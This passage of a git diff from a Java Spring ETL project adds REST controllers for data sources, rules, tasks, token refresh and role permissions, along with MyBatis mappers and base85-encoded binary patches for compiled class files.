+@TableName("task_manager") @ApiModel(value = "Task", description = "任务实体类") public class Task { - @ApiModelProperty(value = "主键ID", example = "1") private Integer id; diff --git a/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DataSource.class b/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DataSource.class index d7906899aa59cd446f34afced8a5814ca68a748d..cb783eb867624e2f6360cecb7762640c36a1fb78 100644 GIT binary patch literal 7858 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 diff --git a/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DatabaseConfig.class b/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DatabaseConfig.class index 350a6fdceec9833359e8ee62b9b1cb0da9d179cb..18e8ab2dc80f3174fe15d7f12e7c98df53c2b4d4 100644 GIT binary patch literal 5283 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 Xil-0?zu|w3l3@Lb;ThVKqi6pI?Bs6b literal 0 HcmV?d00001 diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java index a55991f..12b10ce 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java @@ -3,6 +3,7 @@ package com.etl.data.source.server.controller; import com.etl.data.source.server.service.DataSheetService; import io.swagger.annotations.Api; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; /** @@ -16,4 +17,6 @@ import org.springframework.web.bind.annotation.RestController; public class DataSheetController { @Autowired private DataSheetService dataSheetService; + + } diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java index 9e0ab85..4672c1a 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java @@ -5,6 +5,7 @@ import com.etl.data.source.common.config.Limit; import com.etl.data.source.common.pojo.DatabaseConfig; import com.etl.data.source.common.pojo.DatabaseRedis; import com.etl.data.source.common.pojo.resq.ColumnInfo; +import com.etl.data.source.common.pojo.until.R; import com.etl.data.source.server.service.DatabaseService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -60,4 +61,16 @@ public class DatabaseController { return Result.success(databaseService.findDatabaseTableField(config)); } + @PostMapping("/findDatabaseTableFieldPrice") + @ApiOperation("数据表输入") + public Result> > findDatabaseTableFieldPrice(@Valid @RequestBody DatabaseConfig config){ + return Result.success(databaseService.findDatabaseTableFieldPrice(config)); + } + + @PostMapping("outDatabaseTableFieldPrice") + @ApiOperation("数据表输出") + public Result outDatabaseTableFieldPrice(@Valid @RequestBody DatabaseConfig config){ + return Result.success(databaseService.findDatabaseTableFieldPrice(config)); + } + } diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java new file mode 100644 index 0000000..befeae9 --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java @@ -0,0 +1,57 @@ +package com.etl.data.source.server.controller; + +import com.etl.data.source.common.pojo.Code; +import com.etl.data.source.common.pojo.Rule; +import com.etl.data.source.common.pojo.req.RuleReq; +import com.etl.data.source.common.pojo.until.R; +import com.etl.data.source.server.service.RuleService; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * @ClassName RuleController + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:33 + */ +@RestController +@Api(tags = "规则管理") +public class RuleController { + @Autowired + private RuleService ruleService; + + @GetMapping("findRule") + @ApiOperation(value = "查询规则") + public R findRule(@RequestBody RuleReq ruleReq) { + List ruleList=ruleService.findRule(ruleReq); + return R.ok(ruleList); + } + + @PostMapping("addRule") + @ApiOperation(value = "添加规则") + public R addRule(@RequestBody Rule rule) { + return ruleService.addRule(rule); + } + + @PutMapping("updateRule") + @ApiOperation(value = "修改规则") + public R updateRule(@RequestBody Rule rule) { + return ruleService.updateRule(rule); + } + + @DeleteMapping("deleteRule") + @ApiOperation(value = "删除规则") + public R deleteRule(@RequestParam("id") Long id) { + return ruleService.deleteRule(id); + } + + @PostMapping("/addCode") + @ApiOperation(value = "添加规则") + public R addCode(@RequestBody Code code) { + return ruleService.addCode(code); + } +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java index 607b3d2..d7bef75 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java @@ -17,7 +17,7 @@ import java.util.List; * @Date 2024/6/25 20:59 */ @RestController -@Api("任务模块") +@Api(tags = "任务模块") public class TaskController { @Autowired private TaskService taskService; diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java new file mode 100644 index 0000000..0f58282 --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java @@ -0,0 +1,13 @@ +package com.etl.data.source.server.mapper; + +import com.etl.data.source.common.pojo.Code; +import com.github.yulichang.base.MPJBaseMapper; + +/** + * @ClassName CodeBaseMapper + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:36 + */ +public interface CodeBaseMapper extends MPJBaseMapper { +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java new file mode 100644 index 0000000..e82c49e --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java @@ -0,0 +1,13 @@ +package com.etl.data.source.server.mapper; + +import com.etl.data.source.common.pojo.Rule; +import com.github.yulichang.base.MPJBaseMapper; + +/** + * @ClassName RuleBaseMapper + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:35 + */ +public interface RuleBaseMapper extends MPJBaseMapper { +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java index 27e2e86..a5e5f61 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java @@ -29,4 +29,5 @@ public interface DatabaseService { Map
+ * 我们一般会把 refresh_token 设置的过期时间稍微长一点,比如两倍于 access_token,当 access_token 过期后,refresh_token 如果还没有过期, + * 就可以利用两者的过期时间差进行重新生成令牌的操作,也就是刷新令牌,同时删除掉redis中缓存的旧令牌。 + * + * @param token + * @return + */ + @RequestMapping(value = "/token/refresh", method = RequestMethod.GET) + @ApiOperation(value = "刷新令牌") + @ApiOperationSupport(author = "liz") + public CommonResult refreshToken(@RequestHeader(value = "${auth.jwt.header}") String token) { + + return userManageService.refreshToken(token); + + } +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java new file mode 100644 index 0000000..1569cd3 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/controller/PermissionController.java @@ -0,0 +1,52 @@ +package com.auth.server.controller; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.auth.common.enums.PermissionConstants; +import com.auth.server.service.PathService; +import com.auth.server.service.PermissionService; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import io.swagger.annotations.Api; +import org.apache.commons.lang3.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +/** + * 角色权限 controller层 + */ +@RestController +@Api(tags ="权限-API") +@RequestMapping("/permission") +public class PermissionController { + @Autowired + private PermissionService permissionService; + + @Resource + private PathService pathService; + + @PostMapping("/permission/add") + public boolean permissionAdd(@RequestBody Map map) { + String roles = (String) map.get(PermissionConstants.ROLES); + List codeList = (List) map.get(PermissionConstants.CODE_LIST); + return permissionService.permissionAdd(roles, codeList); + } + + @GetMapping("/get") + public List pathGet(@RequestParam("roles") String roles) { + RolesPermission permission = permissionService.getOne(new QueryWrapper().eq(PermissionConstants.ROLE,roles)); + String codes = StringUtils.strip(permission.getPermissionCode(), "[]"); + List list = Arrays.asList(codes.split(",")); + List pathList = new ArrayList<>(); + for(String code:list){ + String api = pathService.getOne(new QueryWrapper().eq(PermissionConstants.PERMISSION_CODE,code.trim())).getPath(); + pathList.add(api); + } + return pathList; + } +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/interceptor/UserInterceptor.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/interceptor/UserInterceptor.java new file mode 100644 index 0000000..19a535d --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/interceptor/UserInterceptor.java @@ -0,0 +1,31 @@ +//package com.auth.server.interceptor; +//import com.auth.server.mapper.UserMangeMapper; +//import org.springframework.web.servlet.HandlerInterceptor; +//import javax.servlet.http.HttpServletRequest; +//import javax.servlet.http.HttpServletResponse; +//import javax.servlet.http.HttpSession; +//public class UserInterceptor implements HandlerInterceptor { +// private UserMangeMapper userMangeMapper; +// public UserInterceptor(UserMangeMapper userMapper){ +// this.userMangeMapper=userMapper; +// } +// @Override +// public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { +// HttpSession session = request.getSession(); +// String username = (String) session.getAttribute("username"); +// //数据库 +// String UUID=userMangeMapper.getUUID(username); +// //session +// String uuid = (String)session.getAttribute("uuid"); +// System.out.println("uuid = " + uuid); +// System.out.println("UUID = " + UUID); +// if(UUID.equals(uuid)){ +// return true; +// }else { +// System.out.println("拦截"+request.getRequestURI()); +// response.sendRedirect("/login"); +// response.setStatus(401); +// return false; +// } +// } +//} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java new file mode 100644 index 0000000..e243793 --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java @@ -0,0 +1,8 @@ +package com.auth.server.mapper; + +import com.auth.common.entity.PathPermission; +import com.auth.common.entity.RolesPermission; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +public interface PathMapper extends BaseMapper { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java new file mode 100644 index 0000000..42e3bed --- /dev/null +++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java @@ -0,0 +1,8 @@ +package com.auth.server.mapper; + + +import com.auth.common.entity.RolesPermission; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; + +public interface PermissionMapper extends BaseMapper { +} diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java 